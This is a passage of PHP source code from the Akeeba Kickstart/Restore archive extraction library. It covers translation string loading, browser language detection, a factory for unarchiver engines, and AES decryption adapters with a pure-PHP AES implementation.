					$values[$i - 1][$key][] = $value;
				}
				else
				{
					$values[$i - 1][$key] = $value;
				}
			}
		}

		for ($j = 0; $j < $i; $j++)
		{
			if ($process_sections === true)
			{
				if (isset($sections[$j]) && isset($values[$j]))
				{
					$result[$sections[$j]] = $values[$j];
				}
			}
			else
			{
				if (isset($values[$j]))
				{
					$result[] = $values[$j];
				}
			}
		}

		return $result + $globals;
	}

	public static function sprintf($key)
	{
		$text = self::getInstance();
		$args = func_get_args();
		if (count($args) > 0)
		{
			$args[0] = $text->_($args[0]);

			return @call_user_func_array('sprintf', $args);
		}

		return '';
	}

	/**
	 * Singleton pattern for Language
	 *
	 * @return AKText The global AKText instance
	 */
	public static function &getInstance()
	{
		static $instance;

		if (!is_object($instance))
		{
			$instance = new AKText();
		}

		return $instance;
	}

	public static function _($string)
	{
		$text = self::getInstance();

		$key = strtoupper($string);
		$key = substr($key, 0, 1) == '_' ? substr($key, 1) : $key;

		if (isset ($text->strings[$key]))
		{
			$string = $text->strings[$key];
		}
		else
		{
			if (defined($string))
			{
				$string = constant($string);
			}
		}

		return $string;
	}

	public function getBrowserLanguage()
	{
		// Detection code from Full Operating system language detection, by Harald Hope
		// Retrieved from http://techpatterns.com/downloads/php_language_detection.php
		$user_languages = [];
		//check to see if language is set
		if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]))
		{
			$languages = strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
			// $languages = ' fr-ch;q=0.3, da, en-us;q=0.8, en;q=0.5, fr;q=0.3';
			// need to remove spaces from strings to avoid error
			$languages = str_replace(' ', '', $languages);
			$languages = explode(",", $languages);

			foreach ($languages as $language_list)
			{
				// pull out the language, place languages into array of full and primary
				// string structure:
				$temp_array = [];
				// slice out the part before ; on first step, the part before - on second, place into array
				$temp_array[0] = substr($language_list, 0, strcspn($language_list, ';'));//full language
				$temp_array[1] = substr($language_list, 0, 2);// cut out primary language
				if ((strlen($temp_array[0]) == 5) && ((substr($temp_array[0], 2, 1) == '-') || (substr($temp_array[0], 2, 1) == '_')))
				{
					$langLocation  = strtoupper(substr($temp_array[0], 3, 2));
					$temp_array[0] = $temp_array[1] . '-' . $langLocation;
				}
				//place this array into main $user_languages language array
				$user_languages[] = $temp_array;
			}
		}
		else// if no languages found
		{
			$user_languages[0] = ['', '']; //return blank array.
		}

		$this->language = null;
		$basename       = basename(__FILE__, '.php') . '.ini';

		// Try to match main language part of the filename, irrespective of the location, e.g. de_DE will do if de_CH doesn't exist.
		if (class_exists('AKUtilsLister'))
		{
			$fs       = new AKUtilsLister();
			$iniFiles = $fs->getFiles(KSROOTDIR, '*.' . $basename);
			if (empty($iniFiles) && ($basename != 'kickstart.ini'))
			{
				$basename = 'kickstart.ini';
				$iniFiles = $fs->getFiles(KSROOTDIR, '*.' . $basename);
			}
		}
		else
		{
			$iniFiles = null;
		}

		if (is_array($iniFiles))
		{
			foreach ($user_languages as $languageStruct)
			{
				if (is_null($this->language))
				{
					// Get files matching the main lang part
					$iniFiles = $fs->getFiles(KSROOTDIR, $languageStruct[1] . '-??.' . $basename);
					if (count($iniFiles) > 0)
					{
						$filename       = $iniFiles[0];
						$filename       = substr($filename, strlen(KSROOTDIR) + 1);
						$this->language = substr($filename, 0, 5);
					}
					else
					{
						$this->language = null;
					}
				}
			}
		}

		if (is_null($this->language))
		{
			// Try to find a full language match
			foreach ($user_languages as $languageStruct)
			{
				if (@file_exists($languageStruct[0] . '.' . $basename) && is_null($this->language))
				{
					$this->language = $languageStruct[0];
				}
			}
		}
		else
		{
			// Do we have an exact match?
			foreach ($user_languages as $languageStruct)
			{
				if (substr($this->language, 0, strlen($languageStruct[1])) == $languageStruct[1])
				{
					if (file_exists($languageStruct[0] . '.' . $basename))
					{
						$this->language = $languageStruct[0];
					}
				}
			}
		}

		// Now, scan for full language based on the partial match

	}

	public function dumpLanguage()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$out .= "$key=$value\n";
		}

		return $out;
	}

	public function asJavascript()
	{
		$out = '';
		foreach ($this->strings as $key => $value)
		{
			$key   = addcslashes($key, '\\\'"');
			$value = addcslashes($value, '\\\'"');
			if (!empty($out))
			{
				$out .= ",\n";
			}
			$out .= "'$key':\t'$value'";
		}

		return $out;
	}

	public function resetTranslation()
	{
		$this->strings = $this->default_translation;
	}

	public function addDefaultLanguageStrings($stringList = [])
	{
		if (!is_array($stringList))
		{
			return;
		}
		if (empty($stringList))
		{
			return;
		}

		$this->strings = array_merge($stringList, $this->strings);
	}

	private function loadTranslation($lang = null)
	{
		if (defined('KSLANGDIR'))
		{
			$dirname = KSLANGDIR;
		}
		else
		{
			$dirname = KSROOTDIR;
		}

		$myName   = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$basename = basename($myName, '.php') . '.ini';

		if (empty($lang))
		{
			$lang = $this->language;
		}

		$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;
		if (!@file_exists($translationFilename) && ($basename != 'kickstart.ini'))
		{
			$basename            = 'kickstart.ini';
			$translationFilename = $dirname . DIRECTORY_SEPARATOR . $lang . '.' . $basename;
		}
		if (!@file_exists($translationFilename))
		{
			return;
		}
		$temp = self::parse_ini_file($translationFilename, false);

		if (!is_array($this->strings))
		{
			$this->strings = [];
		}
		if (empty($temp))
		{
			$this->strings = array_merge($this->default_translation, $this->strings);
		}
		else
		{
			$this->strings = array_merge($this->strings, $temp);
		}
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * The Akeeba Kickstart Factory class
 *
 * This class is reponssible for instantiating all Akeeba Kickstart classes
 */
class AKFactory
{
	/** @var   array  A list of instantiated objects */
	private $objectlist = array();

	/** @var   array  Simple hash data storage */
	private $varlist = array();

	/** @var   self   Static instance */
	private static $instance = null;

	/**
	 * AKFactory constructor.
	 *
	 * This is a private constructor makes sure we can't instantiate the class unless we go through the static
	 * getInstance singleton method. This is different than making the class abstract (preventing any kind of object
	 * instantiation).
	 */
	private function __construct()
	{
	}

	/**
	 * Gets a serialized snapshot of the Factory for safekeeping (hibernate)
	 *
	 * @return string The serialized snapshot of the Factory
	 */
	public static function serialize()
	{
		$engine = self::getUnarchiver();
		$engine->shutdown();
		$serialized = serialize(self::getInstance());

		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized = base64_encode($serialized);
		}

		return $serialized;
	}

	/**
	 * Gets the unarchiver engine
	 *
	 * @return AKAbstractUnarchiver
	 */
	public static function &getUnarchiver($configOverride = null)
	{
		static $class_name;

		if (!empty($configOverride) && isset($configOverride['reset']) && $configOverride['reset'])
		{
			$class_name = null;
		}

		if (empty($class_name))
		{
			$filetype = self::get('kickstart.setup.filetype', null);

			if (empty($filetype))
			{
				$filename      = self::get('kickstart.setup.sourcefile', null);
				$basename      = basename($filename);
				$baseextension = strtoupper(substr($basename, -3));

				switch ($baseextension)
				{
					case 'JPA':
						$filetype = 'JPA';
						break;

					case 'JPS':
						$filetype = 'JPS';
						break;

					case 'ZIP':
						$filetype = 'ZIP';
						break;

					default:
						die('Invalid archive type or extension in file ' . $filename);
						break;
				}
			}

			$class_name = 'AKUnarchiver' . ucfirst($filetype);
		}

		$destdir = self::get('kickstart.setup.destdir', null);

		if (empty($destdir))
		{
			$destdir = KSROOTDIR;
		}

		/** @var AKAbstractUnarchiver $object */
		$object = self::getClassInstance($class_name);

		if ($object->getState() == 'init')
		{
			$sourcePath = self::get('kickstart.setup.sourcepath', '');
			$sourceFile = self::get('kickstart.setup.sourcefile', '');

			if (!empty($sourcePath))
			{
				$sourceFile = rtrim($sourcePath, '/\\') . '/' . $sourceFile;
			}

			// Initialize the object –– Any change here MUST be reflected to echoHeadJavascript (default values)
			$config = array(
				'filename'            => $sourceFile,
				'restore_permissions' => self::get('kickstart.setup.restoreperms', 0),
				'post_proc'           => self::get('kickstart.procengine', 'direct'),
				'add_path'            => self::get('kickstart.setup.targetpath', $destdir),
				'remove_path'         => self::get('kickstart.setup.removepath', ''),
				'rename_files'        => self::get('kickstart.setup.renamefiles', array(
					'.htaccess' => 'htaccess.bak', 'php.ini' => 'php.ini.bak', 'web.config' => 'web.config.bak',
					'.user.ini' => '.user.ini.bak',
				)),
				'skip_files'          => self::get('kickstart.setup.skipfiles', array(
					basename(__FILE__), 'kickstart.php', 'abiautomation.ini', 'htaccess.bak', 'php.ini.bak',
					'cacert.pem',
				)),
				'ignoredirectories'   => self::get('kickstart.setup.ignoredirectories', array(
					'tmp', 'log', 'logs',
				)),
			);

			if (!defined('KICKSTART'))
			{
				// In restore.php mode we have to exclude the restoration.php files
				$moreSkippedFiles     = array(
					// Akeeba Backup for Joomla!
					'administrator/components/com_akeeba/restoration.php',
					'administrator/components/com_akeebabackup/restoration.php',
					// Joomla! Update
					'administrator/components/com_joomlaupdate/restoration.php',
					// Akeeba Backup for WordPress
					'wp-content/plugins/akeebabackupwp/app/restoration.php',
					'wp-content/plugins/akeebabackupcorewp/app/restoration.php',
					'wp-content/plugins/akeebabackup/app/restoration.php',
					'wp-content/plugins/akeebabackupwpcore/app/restoration.php',
					// Akeeba Solo
					'app/restoration.php',
				);

				$config['skip_files'] = array_merge($config['skip_files'], $moreSkippedFiles);
			}

			if (!empty($configOverride))
			{
				$config = array_merge($config, $configOverride);
			}

			$object->setup($config);
		}

		return $object;
	}

	// ========================================================================
	// Public factory interface
	// ========================================================================

	public static function get($key, $default = null)
	{
		$self = self::getInstance();

		if (array_key_exists($key, $self->varlist))
		{
			return $self->varlist[$key];
		}

		return $default;
	}

	/**
	 * Gets a single, internally used instance of the Factory
	 *
	 * @param string $serialized_data [optional] Serialized data to spawn the instance from
	 *
	 * @return AKFactory A reference to the unique Factory object instance
	 */
	protected static function &getInstance($serialized_data = null)
	{
		if (!is_object(self::$instance) || !is_null($serialized_data))
		{
			if (!is_null($serialized_data))
			{
				self::$instance = unserialize($serialized_data);

				return self::$instance;
			}

			self::$instance = new self();
		}

		return self::$instance;
	}

	/**
	 * Internal function which instantiates a class named $class_name.
	 * The autoloader
	 *
	 * @param string $class_name
	 *
	 * @return object
	 */
	protected static function &getClassInstance($class_name)
	{
		$self = self::getInstance();

		if (!isset($self->objectlist[$class_name]))
		{
			$self->objectlist[$class_name] = new $class_name;
		}

		return $self->objectlist[$class_name];
	}

	// ========================================================================
	// Public hash data storage interface
	// ========================================================================

	/**
	 * Regenerates the full Factory state from a serialized snapshot (resume)
	 *
	 * @param string $serialized_data The serialized snapshot to resume from
	 */
	public static function unserialize($serialized_data)
	{
		if (function_exists('base64_encode') && function_exists('base64_decode'))
		{
			$serialized_data = base64_decode($serialized_data);
		}

		self::getInstance($serialized_data);
	}

	/**
	 * Reset the internal factory state, freeing all previously created objects
	 */
	public static function nuke()
	{
		self::$instance = null;
	}

	// ========================================================================
	// Akeeba Kickstart classes
	// ========================================================================

	public static function set($key, $value)
	{
		$self                = self::getInstance();
		$self->varlist[$key] = $value;
	}

	/**
	 * Gets the post processing engine
	 *
	 * @param string $proc_engine
	 *
	 * @return AKAbstractPostproc
	 */
	public static function &getPostProc($proc_engine = null)
	{
		static $class_name;

		if (empty($class_name))
		{
			if (empty($proc_engine))
			{
				$proc_engine = self::get('kickstart.procengine', 'direct');
			}

			$class_name = 'AKPostproc' . ucfirst($proc_engine);
		}

		return self::getClassInstance($class_name);
	}

	/**
	 * Get the a reference to the Akeeba Engine's timer
	 *
	 * @return AKCoreTimer
	 */
	public static function &getTimer()
	{
		return self::getClassInstance('AKCoreTimer');
	}

	/**
	 * Get an instance of the filesystem zapper
	 *
	 * @return AKUtilsZapper
	 */
	public static function &getZapper()
	{
		return self::getClassInstance('AKUtilsZapper');
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Interface for AES encryption adapters
 */
interface AKEncryptionAESAdapterInterface
{
	/**
	 * Decrypts a string. Returns the raw binary ciphertext, zero-padded.
	 *
	 * @param   string       $plainText  The plaintext to encrypt
	 * @param   string       $key        The raw binary key (will be zero-padded or chopped if its size is different than the block size)
	 *
	 * @return  string  The raw encrypted binary string.
	 */
	public function decrypt($plainText, $key);

	/**
	 * Returns the encryption block size in bytes
	 *
	 * @return  int
	 */
	public function getBlockSize();

	/**
	 * Is this adapter supported?
	 *
	 * @return  bool
	 */
	public function isSupported();
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Abstract AES encryption class
 */
abstract class AKEncryptionAESAdapterAbstract
{
	/**
	 * Trims or zero-pads a key / IV
	 *
	 * @param   string $key  The key or IV to treat
	 * @param   int    $size The block size of the currently used algorithm
	 *
	 * @return  null|string  Null if $key is null, treated string of $size byte length otherwise
	 */
	public function resizeKey($key, $size)
	{
		if (empty($key))
		{
			return null;
		}

		$keyLength = strlen($key);

		if (function_exists('mb_strlen'))
		{
			$keyLength = mb_strlen($key, 'ASCII');
		}

		if ($keyLength == $size)
		{
			return $key;
		}

		if ($keyLength > $size)
		{
			if (function_exists('mb_substr'))
			{
				return mb_substr($key, 0, $size, 'ASCII');
			}

			return substr($key, 0, $size);
		}

		return $key . str_repeat("\0", ($size - $keyLength));
	}

	/**
	 * Returns null bytes to append to the string so that it's zero padded to the specified block size
	 *
	 * @param   string $string    The binary string which will be zero padded
	 * @param   int    $blockSize The block size
	 *
	 * @return  string  The zero bytes to append to the string to zero pad it to $blockSize
	 */
	protected function getZeroPadding($string, $blockSize)
	{
		$stringSize = strlen($string);

		if (function_exists('mb_strlen'))
		{
			$stringSize = mb_strlen($string, 'ASCII');
		}

		if ($stringSize == $blockSize)
		{
			return '';
		}

		if ($stringSize < $blockSize)
		{
			return str_repeat("\0", $blockSize - $stringSize);
		}

		$paddingBytes = $stringSize % $blockSize;

		return str_repeat("\0", $blockSize - $paddingBytes);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

class Mcrypt extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	protected $cipherType = MCRYPT_RIJNDAEL_128;

	protected $cipherMode = MCRYPT_MODE_CBC;

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = mcrypt_decrypt($this->cipherType, $key, $cipherText, $this->cipherMode, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('mcrypt_get_key_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_get_iv_size'))
		{
			return false;
		}

		if (!function_exists('mcrypt_create_iv'))
		{
			return false;
		}

		if (!function_exists('mcrypt_encrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_decrypt'))
		{
			return false;
		}

		if (!function_exists('mcrypt_list_algorithms'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = mcrypt_list_algorithms();

		if (!in_array('rijndael-128', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-192', $algorightms))
		{
			return false;
		}

		if (!in_array('rijndael-256', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	public function getBlockSize()
	{
		return mcrypt_get_iv_size($this->cipherType, $this->cipherMode);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

class OpenSSL extends AKEncryptionAESAdapterAbstract implements AKEncryptionAESAdapterInterface
{
	/**
	 * The OpenSSL options for encryption / decryption
	 *
	 * @var  int
	 */
	protected $openSSLOptions = 0;

	/**
	 * The encryption method to use
	 *
	 * @var  string
	 */
	protected $method = 'aes-128-cbc';

	public function __construct()
	{
		$this->openSSLOptions = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;
	}

	public function decrypt($cipherText, $key)
	{
		$iv_size    = $this->getBlockSize();
		$key        = $this->resizeKey($key, $iv_size);
		$iv         = substr($cipherText, 0, $iv_size);
		$cipherText = substr($cipherText, $iv_size);
		$plainText  = openssl_decrypt($cipherText, $this->method, $key, $this->openSSLOptions, $iv);

		return $plainText;
	}

	public function isSupported()
	{
		if (!function_exists('openssl_get_cipher_methods'))
		{
			return false;
		}

		if (!function_exists('openssl_random_pseudo_bytes'))
		{
			return false;
		}

		if (!function_exists('openssl_cipher_iv_length'))
		{
			return false;
		}

		if (!function_exists('openssl_encrypt'))
		{
			return false;
		}

		if (!function_exists('openssl_decrypt'))
		{
			return false;
		}

		if (!function_exists('hash'))
		{
			return false;
		}

		if (!function_exists('hash_algos'))
		{
			return false;
		}

		$algorightms = openssl_get_cipher_methods();

		if (!in_array('aes-128-cbc', $algorightms))
		{
			return false;
		}

		$algorightms = hash_algos();

		if (!in_array('sha256', $algorightms))
		{
			return false;
		}

		return true;
	}

	/**
	 * @return int
	 */
	public function getBlockSize()
	{
		return openssl_cipher_iv_length($this->method);
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * AES implementation in PHP (c) Chris Veness 2005-2016.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Heavily modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Also added AES-128 CBC mode (with mcrypt and OpenSSL) on top of AES CTR
 * Removed CTR encrypt / decrypt (no longer used)
 */
class AKEncryptionAES
{
	// Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
	protected static $Sbox =
		array(0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
			0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
			0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
			0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
			0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
			0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
			0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
			0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
			0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
			0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
			0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
			0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
			0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
			0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
			0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
			0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16);

	// Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
	protected static $Rcon = array(
		array(0x00, 0x00, 0x00, 0x00),
		array(0x01, 0x00, 0x00, 0x00),
		array(0x02, 0x00, 0x00, 0x00),
		array(0x04, 0x00, 0x00, 0x00),
		array(0x08, 0x00, 0x00, 0x00),
		array(0x10, 0x00, 0x00, 0x00),
		array(0x20, 0x00, 0x00, 0x00),
		array(0x40, 0x00, 0x00, 0x00),
		array(0x80, 0x00, 0x00, 0x00),
		array(0x1b, 0x00, 0x00, 0x00),
		array(0x36, 0x00, 0x00, 0x00));

	protected static $passwords = array();

	/**
	 * The algorithm to use for PBKDF2. Must be a supported hash_hmac algorithm. Default: sha1
	 *
	 * @var  string
	 */
	private static $pbkdf2Algorithm = 'sha1';

	/**
	 * Number of iterations to use for PBKDF2
	 *
	 * @var  int
	 */
	private static $pbkdf2Iterations = 1000;

	/**
	 * Should we use a static salt for PBKDF2?
	 *
	 * @var  int
	 */
	private static $pbkdf2UseStaticSalt = 0;

	/**
	 * The static salt to use for PBKDF2
	 *
	 * @var  string
	 */
	private static $pbkdf2StaticSalt = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";

	/**
	 * AES Cipher function: encrypt 'input' with Rijndael algorithm
	 *
	 * @param   array $input    Message as byte-array (16 bytes)
	 * @param   array $w        key schedule as 2D byte-array (Nr+1 x Nb bytes) -
	 *                          generated from the cipher key by KeyExpansion()
	 *
	 * @return  string  Ciphertext as byte-array (16 bytes)
	 */
	protected static function Cipher($input, $w)
	{
		// main Cipher function [�5.1]
		$Nb = 4;                 // block size (in words): no of columns in state (fixed at 4 for AES)
		$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

		$state = array();  // initialise 4xNb byte-array 'state' with input [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$state[$i % 4][floor($i / 4)] = $input[$i];
		}

		$state = self::AddRoundKey($state, $w, 0, $Nb);

		for ($round = 1; $round < $Nr; $round++)
		{  // apply Nr rounds
			$state = self::SubBytes($state, $Nb);
			$state = self::ShiftRows($state, $Nb);
			$state = self::MixColumns($state);
			$state = self::AddRoundKey($state, $w, $round, $Nb);
		}

		$state = self::SubBytes($state, $Nb);
		$state = self::ShiftRows($state, $Nb);
		$state = self::AddRoundKey($state, $w, $Nr, $Nb);

		$output = array(4 * $Nb);  // convert state to 1-d array before returning [�3.4]

		for ($i = 0; $i < 4 * $Nb; $i++)
		{
			$output[$i] = $state[$i % 4][floor($i / 4)];
		}

		return $output;
	}

	protected static function AddRoundKey($state, $w, $rnd, $Nb)
	{
		// xor Round Key into state S [�5.1.4]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
			}
		}

		return $state;
	}

	protected static function SubBytes($s, $Nb)
	{
		// apply SBox to state S [�5.1.1]
		for ($r = 0; $r < 4; $r++)
		{
			for ($c = 0; $c < $Nb; $c++)
			{
				$s[$r][$c] = self::$Sbox[$s[$r][$c]];
			}
		}

		return $s;
	}

	protected static function ShiftRows($s, $Nb)
	{
		// shift row r of state S left by r bytes [�5.1.2]
		$t = array(4);

		for ($r = 1; $r < 4; $r++)
		{
			for ($c = 0; $c < 4; $c++)
			{
				$t[$c] = $s[$r][($c + $r) % $Nb];
			}  // shift into temp copy

			for ($c = 0; $c < 4; $c++)
			{
				$s[$r][$c] = $t[$c];
			}         // and copy back
		}          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):

		return $s;  // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
	}

	protected static function MixColumns($s)
	{
		// combine bytes of each col of state S [�5.1.3]
		for ($c = 0; $c < 4; $c++)
		{
			$a = array(4);  // 'a' is a copy of the current column from 's'
			$b = array(4);  // 'b' is a�{02} in GF(2^8)

			for ($i = 0; $i < 4; $i++)
			{
				$a[$i] = $s[$i][$c];
				$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
			}

			// a[n] ^ b[n] is a�{03} in GF(2^8)
			$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
			$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
			$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
			$s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
		}

		return $s;
	}

	/**
	 * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
	 * to generate a key schedule
	 *
	 * @param   array $key Cipher key byte-array (16 bytes)
	 *
	 * @return  array  Key schedule as 2D byte-array (Nr+1 x Nb bytes)
	 */
	protected static function KeyExpansion($key)
	{
		// generate Key Schedule from Cipher Key [�5.2]

		// block size (in words): no of columns in state (fixed at 4 for AES)
		$Nb = 4;
		// key length (in words): 4/6/8 for 128/192/256-bit keys
		$Nk = (int) (count($key) / 4);
		// no of rounds: 10/12/14 for 128/192/256-bit keys
		$Nr = $Nk + 6;

		$w    = array();
		$temp = array();

		for ($i = 0; $i < $Nk; $i++)
		{
			$r     = array($key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]);
			$w[$i] = $r;
		}

		for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++)
		{
			$w[$i] = array();
			for ($t = 0; $t < 4; $t++)
			{
				$temp[$t] = $w[$i - 1][$t];
			}
			if ($i % $Nk == 0)
			{
				$temp = self::SubWord(self::RotWord($temp));
				for ($t = 0; $t < 4; $t++)
				{
					$rConIndex = (int) ($i / $Nk);
					$temp[$t] ^= self::$Rcon[$rConIndex][$t];
				}
			}
			else if ($Nk > 6 && $i % $Nk == 4)
			{
				$temp = self::SubWord($temp);
			}
			for ($t = 0; $t < 4; $t++)
			{
				$w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
			}
		}

		return $w;
	}

	protected static function SubWord($w)
	{
		// apply SBox to 4-byte word w
		for ($i = 0; $i < 4; $i++)
		{
			$w[$i] = self::$Sbox[$w[$i]];
		}

		return $w;
	}

	/*
	 * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
	 *
	 * @param a  number to be shifted (32-bit integer)
	 * @param b  number of bits to shift a to the right (0..31)
	 * @return   a right-shifted and zero-filled by b bits
	 */

	protected static function RotWord($w)
	{
		// rotate 4-byte word w left by one byte
		$tmp = $w[0];
		for ($i = 0; $i < 3; $i++)
		{
			$w[$i] = $w[$i + 1];
		}
		$w[3] = $tmp;

		return $w;
	}

	protected static function urs($a, $b)
	{
		$a &= 0xffffffff;
		$b &= 0x1f;  // (bounds check)
		if ($a & 0x80000000 && $b > 0)
		{   // if left-most bit set
			$a = ($a >> 1) & 0x7fffffff;   //   right-shift one bit & clear left-most bit
			$a = $a >> ($b - 1);           //   remaining right-shifts
		}
		else
		{                       // otherwise
			$a = ($a >> $b);               //   use normal right-shift
		}

		return $a;
	}

	/**
	 * AES decryption in CBC mode. This is the standard mode (the CTR methods
	 * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
	 *
	 * It supports AES-128 only. It assumes that the last 4 bytes
	 * contain a little-endian unsigned long integer representing the unpadded
	 * data length.
	 *
	 * @since  3.0.1
	 * @author Nicholas K. Dionysopoulos
	 *
	 * @param   string $ciphertext The data to encrypt
	 * @param   string $password   Encryption password
	 *
	 * @return  string  The plaintext
	 */
	public static function AESDecryptCBC($ciphertext, $password)
	{
		$adapter = self::getAdapter();

		if (!$adapter->isSupported())
		{
			return false;
		}

		// Read the data size
		$data_size = unpack('V', substr($ciphertext, -4));

		// Do I have a PBKDF2 salt?
		$salt             = substr($ciphertext, -92, 68);
		$rightStringLimit = -4;

		$params        = self::getKeyDerivationParameters();
		$keySizeBytes  = $params['keySize'];
		$algorithm     = $params['algorithm'];
		$iterations    = $params['iterations'];
		$useStaticSalt = $params['useStaticSalt'];

